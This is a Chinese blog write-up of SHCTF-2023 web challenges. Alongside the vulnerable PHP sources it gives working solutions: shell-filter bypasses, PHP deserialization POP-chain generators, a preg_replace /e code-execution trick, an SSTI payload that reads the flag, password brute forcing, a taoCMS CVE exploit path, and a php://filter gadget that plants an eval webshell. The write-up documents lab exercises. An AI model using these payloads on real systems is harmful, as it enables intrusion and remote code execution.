SHCTF-2023

发布于 2023-10-02  1111 次阅读


前言

写完week1感觉还是比较简单的,很基础

也是放假在家不想打游戏,拿这个消磨一下时间

WEEK1

babyRCE

题目源码

<?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
            echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
}

过滤了部分命令和特殊符号

但是没有过滤掉反斜杠( \ ),空格我们可以用$IFS来绕过

然后查看文件的命令几乎都被禁了,但是可以通过反斜杠来连接字母形成命令

ca\t = cat , l\s = ls #诸如此类

另外空格的一些绕过方式

$IFS
$IFS$1
${IFS}
$IFS$9
<               比如cat<a.tct:表示cat a.txt
<>
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20
%09

这里当前目录下有一个flag.php,但是不正确

正确的在根目录下

拿到flag

1zzphp

 <?php 
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
    $code = (String)$_POST['c_ode'];
    $num=$_GET['num'];
    if(preg_match("/[0-9]/", $num))
    {
        die("no number!");
    }
    elseif(intval($num))
    {
      if(preg_match('/.+?SHCTF/is', $code))
      {
        die('no touch!');
      }
      if(stripos($code,'2023SHCTF') === FALSE)
      {
        die('what do you want');
      }
      echo $flag;
    }
}  

preg_match的绕过方式一般有(数组绕过、换行绕过、回溯溢出)

在这里num可以通过数组绕过

然是code就不行了,因为code是强制转换为string类型了,如果以数组的形式传入,那么code的值将变为Array,这个可以自己在本地测试

然后注意preg_match的匹配方式是is,i是忽略大小写,s是忽略换行符

那么这里就只有尝试回溯溢出这个方法了

具体的在P神的博客里有,这里就不再赘述

链接:PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌 (leavesongs.com)

具体的操作就是在code部分生成至少1000000(一百万)个字符,这是preg_match的最大深度,超过则不匹配

最终如图👇

ez_serialize

题目源码👇

<?php
highlight_file(__FILE__);

class A{
  public $var_1;
  
  public function __invoke(){
   include($this->var_1);
  }
}

class B{
  public $q;
  public function __wakeup()
{
  if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
            echo "hacker";           
        }
}

}
class C{
  public $var;
  public $z;
    public function __toString(){
        return $this->z->var;
    }
}

class D{
  public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }  
}

if(isset($_GET['payload']))
{
    unserialize($_GET['payload']);
}
?> 

可以看到在A类里有include函数,我们可以通过include来执行命令,这就是pop链的终点

整理一下思路可以看出

我们要先通过B类的wakeup,执行preg_match函数,该函数会把B->q作为字符串进行匹配,然后就跳到C类的toString方法,该方法要return一个不存在的属性值,从而触发D类的__get魔术方法,该方法会把p属性当作函数返回,触发A类的__invoke魔术方法,最终进入include

POP链条:B:wakeup() ->  C:toString()  ->  D:__get()  ->  A:__invoke  -> include

最终如何读取文件?这里没有过滤掉filter,可以用他来读取文件

最终payload:

<?php
class A{
    public $var_1;
}

class B{
    public $q;
}
class C{
    public $var;
    public $z;
}

class D{
    public $p;
}
$b=new B();
$c=new C();
$b->q=$c;
$d=new D();
$c->z=$d;
$a=new A();
$d->p=$a;
$a->var_1='php://filter/convert.base64-encode/resource=flag.php';
echo serialize($b);

拿去Base64解码即可

登录就给flag

经过测试,不存在sql注入,后台也扫不出东西来

应该是密码爆破,用户名猜测是admin

抓个包,发到Intruder,使用Sniper单参数模式

在Payloads里选择密码这一栏,然后开始攻击

可以看到当密码是password的时候返回长度和状态码都不一样

密码应该就是password,登录进去拿到flag👇

飞机大战

一个飞机游戏

看看源码吧,这种题一般都在源码里找突破口

有一个main.js文件,进去看看,在最后找到一个flag关键词,好像是要scores要大于99999才弹出flag

这里其实我们只需要打开浏览器的控制台,将scores的值修改一下就行了

ezphp

源码如下👇

<?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{
    $pattern=$_POST['pattern'];
    if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code))
    {
        $code=$_GET['code'];
        preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);
        echo "you are smart";
    }else{
        die("try again");
    }
}else{
    die("it is begin");
}
?> 

一眼看到preg_match的ei模式,其实这个e模式是有命令执行的漏洞的

可以参考文章:深入研究preg_replace \e模式下的代码执行_preg_replace /e-CSDN博客

对于这三个参数的解释:

preg_replace(正则表达式,原本的字符串,用于替换的字符串);

如果在原本的字符串中正则匹配成功,就将其替换

而/e模式能够顺便执行替换字符串(如果是正确的命令哈

具体的也不多说了,上面参考文章写的肯定比我好

在phpinfo里找到flag

生成你的邀请函吧

题目描述:

API:url/generate_invitation  
Request:POST application/json  
Body:{  
    "name": "Yourname",  
    "imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"  
}  

根据题目描述,我们要使用靶机实例的该API,POST发送请求

还是很简单的

抓个包修改一下即可

发送完后,浏览器会下载一张图片,在底部发现flag

WEEK2

no_wake_up

php代码如下

 <?php
highlight_file(__FILE__);
class flag{
    public $username;
    public $code;
    public function __wakeup(){
        $this->username = "guest";
    }
    public function __destruct(){
        if($this->username = "admin"){
            include($this->code);
        }
    }
}
unserialize($_GET['try']); 

在反序列化后会先执行wakeup,然后再执行destruct

在destruct里存在命令执行,这里只需要绕过wakeup就行了

经典的只需要把序列化字符串的变量值改大一个就可以了

但是这道题不知道怎么了,直接生成的字符串就能打进去

base64解码拿到flag

MD5的事就拜托了

源码如下

 <?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){
    extract(parse_url($_POST['SHCTF']));
    if($$$scheme==='SHCTF'){
        echo(md5($flag));
        echo("</br>");
    }
    if(isset($_GET['length'])){
        $num=$_GET['length'];
        if($num*100!=intval($num*100)){
            echo(strlen($flag));
            echo("</br>");
        }
    }
}
if($_POST['SHCTF']!=md5($flag)){
    if($_POST['SHCTF']===md5($flag.urldecode($num))){
        echo("flag is".$flag);
    }
} 

先get传参length=1.000001,得出flag的长度为42

注意这这个parse_url的用法,是将一个url分解为几个部分,然后用extract将变量引入环境

举个例子

<?php$url = 'http://username:password@hostname/path?arg=value#anchor';print_r(parse_url($url));echo parse_url($url, PHP_URL_PATH);?>

#那么结果就应该是
Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)

至于这个scheme前面的几个$符号,比如说$scheme=1,那么$$scheme相当于$1,$scheme的值就被作为变量名称再次被利用

下面是测试代码

<?php
print_r(parse_url("host://SHCTF:password@user"));
extract(parse_url("host://SHCTF:password@user"));
echo $scheme.PHP_EOL;
echo $$scheme.PHP_EOL;
echo $$$scheme.PHP_EOL;

#输出如下
Array
(
    [scheme] => host
    [host] => user
    [user] => SHCTF
    [pass] => password
)
host
user
SHCTF

那么这个字符串就可以传入POST了,拿到MD5值

到这里的话,就没思路了,下面是官方的wp

EasyCMS

进去是一个类似博客的界面

进行信息搜集,发现这个taoCMS存在漏洞

贴一个文章:taoCMS任意代码执行(CVE-2022-25578)-CSDN博客

访问后台管理登录页面,默认账号admin,密码是tao

在这里可以执行sql

不过flag不在当前数据库,在另外一个数据库中,可以用show查看

但是这里想查ctftraining库里的东西的时候,他就不回显了,不知道是不是没有东西

然后注意到左下角有个文件管理,里面可以编辑文件内容,可以在这里做木马

再去访问install.php即可命令执行

ez_ssti

吐槽一下:这道题什么东西都没有,传参都不知道传什么,后来还是搜题目才找到传name

也没什么好写的,直接拿以前写过的payload就爆出来了,甚至都不用跑脚本。。。

?name={{lipsum.__globals__.__getitem__('os').popen('cat /f*').read()}}

serialize

代码如下👇

 <?php
highlight_file(__FILE__);
class misca{
    public $gao;
    public $fei;
    public $a;
    public function __get($key){
        $this->miaomiao();
        $this->gao=$this->fei;
        die($this->a);
    }
    public function miaomiao(){
        $this->a='Mikey Mouse~';
    }
}
class musca{
    public $ding;
    public $dong;
    public function __wakeup(){
        return $this->ding->dong;
    }
}
class milaoshu{
    public $v;
    public function __tostring(){
        echo"misca~musca~milaoshu~~~";
        include($this->v);
    }
}
function check($data){
    if(preg_match('/^O:\d+/',$data)){
        die("you should think harder!");
    }
    else return $data;
}
unserialize(check($_GET["wanna_fl.ag"])); 

先不管这个check函数,理清一下pop链

我们能够利用的是milaoshu里的include函数,他是被tostring触发的,而全看下来,能够触发tostring方法的也只有misca类里的die方法,该方法把参数以字符串输出,想要执行的话就要执行get魔术方法,这里要从musca类里的wakeup函数里调过来

所以总的pop链条就是

musca->__wakeup()  #1
misca->__get()     #2
milaoshu->include() #3

不过要注意的是在misca的get方法里,die能够输出的a参数是被miaomiao()函数重新赋值了

这里直接赋值a是不管用的,就只有使用取地址的方式,把gao的值取为a的地址,这样当赋值给gao的时候也就是赋值给了a,绕过了miaomiao函数

<?php
class misca{
    public $gao;
    public $fei;
    public $a;
    public function miaomiao(){
        $this->a='Mikey Mouse~';
    }

}
class musca{
    public $ding;
    public $dong;

}
class milaoshu{
    public $v='php://filter/convert.base64-encode/resource=flag.php';
}
$misca=new misca();
$musca=new musca();
$milaoshu=new milaoshu();
$musca->ding=$misca;
$misca->gao=&$misca->a;
$misca->fei=$milaoshu;
echo serialize($musca);

#O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:52:"php://filter/convert.base64-encode/resource=flag.php";}s:1:"a";R:3;}s:4:"dong";N;}

生成的pop链初步是这样的,不过这样是无法通过check函数

经过几番搜寻,发现在以前的CTF的题里面出现过这个考点

preg_match('/^O:\d+/')的绕过方式
1、利用加号绕过(注意在 url 里传参时 + 要编码为 %2B)#php版本大于5.6就不行了好像
2、serialize(array(a));a 为要反序列化的对象 (序列化结果开头是 a,不影响作为数组元素的 $a 的析构) #这个就可以

最终poc如下👇

<?php
class misca{
    public $gao;
    public $fei;
    public $a;
    public function miaomiao(){
        $this->a='Mikey Mouse~';
    }

}
class musca{
    public $ding;
    public $dong;

}
class milaoshu{
    public $v='php://filter/convert.base64-encode/resource=flag.php';
}

$misca=new misca();
$musca=new musca();
$milaoshu=new milaoshu();
$musca->ding=$misca;
$misca->gao=&$misca->a;
$misca->fei=$milaoshu;
echo serialize($musca);
echo PHP_EOL;
$x=serialize(array($musca));
echo $x;

#a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:52:"php://filter/convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";N;}}

WEEK3

快问快答

写个脚本爆破就行,但是既不能太快也不能太慢,服务器好像撑不住。。。

import re
import time
import requests
session=requests.session()
url='http://112.6.51.212:31707'
pattern=re.compile('(\d+) (.+) (\d+) =')
result=0
payload={"answer":f'{result}'}
for i in range(65):
    time.sleep(1)

    try:
        r=session.post(url,payload)
        print(r.text)

        calc=re.findall(pattern,r.text)[0]
        num1=calc[0]
        sym=calc[1]
        num2=calc[2]
        if '异或' == sym:
            result=int(num1)^int(num2)
        if '与' == sym:
            result=int(num1)&int(num2)
        if '÷' ==sym:
            result=int(int(num1)/int(num2))
        if 'x' ==sym:
            result=int(num1)*int(num2)
        if '+' == sym:
            result = int(num1) + int(num2)
        if '-' ==sym:
            result = int(num1) - int(num2)
        payload = {"answer": f'{result}'}
        print(i,calc,result)
    except IndexError :
        print(r.text)
        print('indexx error')
        exit()
    except InterruptedError:
        print("interupt")
    else:
        pass
    time.sleep(0.5)

print(r.text)
print(r.cookies)

sseerriiaalliizzee

php源码如下👇

 <?php
error_reporting(0);
highlight_file(__FILE__);

class Start{
    public $barking;
    public function __construct(){
        $this->barking = new Flag;
    }
    public function __toString(){
            return $this->barking->dosomething();
    }
}

class CTF{ 
    public $part1;
    public $part2;
    public function __construct($part1='',$part2='') {
        $this -> part1 = $part1;
        $this -> part2 = $part2;
        
    }
    public function dosomething(){
        $useless   = '<?php die("+Genshin Impact Start!+");?>';
        $useful= $useless. $this->part2;
        file_put_contents($this-> part1,$useful);
    }
}
class Flag{
    public function dosomething(){
        include('./flag,php');
        return "barking for fun!";
        
    }
}

    $code=$_POST['code']; 
    if(isset($code)){
       echo unserialize($code);
    }
    else{
        echo "no way, fuck off";
    }
?> 

关键点在于CTF类里的dosomething函数,这里面有一个file_put_contents可以利用

但是文件内容是有一个die函数,当我们访问生成的文件时,走到die函数就结束,自己写的内容就无效了

这里贴一个博客:file_put_contents利用技巧(php://filter协议) - yokan - 博客园 (cnblogs.com)讲的很不错的

这里就利用filter伪协议搭配过滤器绕过这个file_put_contents就可以了

生成反序列化字符串的poc👇

<?php
class Start{
    public $barking;

}

class CTF{
    public $part1='php://filter/write=string.strip_tags|convert.base64-decode/resource=hyh.php';
    public $part2='PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==';# @eval($_POST[a]);

}
$a=new Start();
$b=new CTF();
$a->barking=$b;
echo serialize($a);
#O:5:"Start":1:{s:7:"barking";O:3:"CTF":2:{s:5:"part1";s:75:"php://filter/write=string.strip_tags|convert.base64-decode/resource=hyh.php";s:5:"part2";s:36:"PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==";}}

gogogo

这道题的话,网上也能搜到类似的题目

由于没有打通,这里还是贴一下官方的wp

go语言的环境要自己安装,安装好后把题目附件里的代码session部分修改如图

然后会跑出来一个cookie,这里burp更换cookie即可绕过第一关

千里之行,始于足下
最后更新于 2023-11-14